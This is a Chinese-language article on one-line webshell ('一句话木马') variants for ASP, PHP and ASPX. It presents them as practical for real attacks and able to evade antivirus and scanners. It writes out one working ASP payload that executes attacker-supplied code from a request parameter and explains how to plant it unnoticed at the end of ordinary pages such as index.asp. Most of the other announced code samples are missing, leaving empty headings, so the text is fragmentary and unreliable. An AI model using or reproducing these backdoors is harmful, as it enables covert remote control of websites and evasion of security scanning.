在Web安全领域,一句话木马已是常见议题,然而真正具备“防杀防扫”能力的代码变种却屈指可数。以下展示的几段代码属于较为冷门但实战中极为实用的变体,网上鲜有公开讨论。它们的核心优势在于:可直接插入任意ASP或PHP文件末尾,即使文件本身包含复杂逻辑,也不会引发错误。
首先来看ASP版本的代码:
<%If Request("1") <> "" Then ExecuteGlobal(Request("1"))%>
这行代码的关键在于增加了条件判断——仅当请求参数“1”非空时,才会执行后续代码。这意味着将其植入index.asp等正常页面后,完全不影响页面原有功能。此外,其写法隐晦,许多扫描工具不会将其识别为威胁。
接着看PHP版本的实现:
同样,该版本也是防杀防扫的典型代表。它利用PHP的变量函数与错误抑制符,使代码外观不再像传统的一句话木马。同样可插入任意PHP文件末尾,由于执行逻辑需特定参数触发,不会干扰正常输出。
若觉得上述写法过于花哨,还可以采用更稳妥的带判断版本:
此版本逻辑更为清晰:仅当POST参数“1”存在时,才执行eval。与ASP版本异曲同工,均遵循“先判断后执行”原则,因此放置在任何PHP文件末尾均不会出错。
此外,还有最基础的system函数版本:
该版本虽无判断,但胜在简单直接,适用于已确认无安全过滤的环境下快速利用。
另外,针对不同目标环境,还存在几种特定变种。例如,若目标站点未设置防下载表,直接使用常规一句话即可;若存在防下载表,可尝试将以下语句插入相关文件以突破限制:
备份专用的一句话木马:
asp一句话
php一句话:
aspx一句话
这里特别提及,还有一款能够绕过雷客图扫描的ASPX一句话木马,具体代码不再展开,但其原理同样基于参数判断。
最后,还有两个极为极端的变种:不使用<、>的ASP一句话,以及不使用双引号的一句话。这两种写法可绕过更多基于字符特征检测的规则,但使用场景有限,需配合特定解析环境。然而,它们的存在本身揭示了安全对抗中的一个永恒规律:永远存在“更隐蔽”的写法。
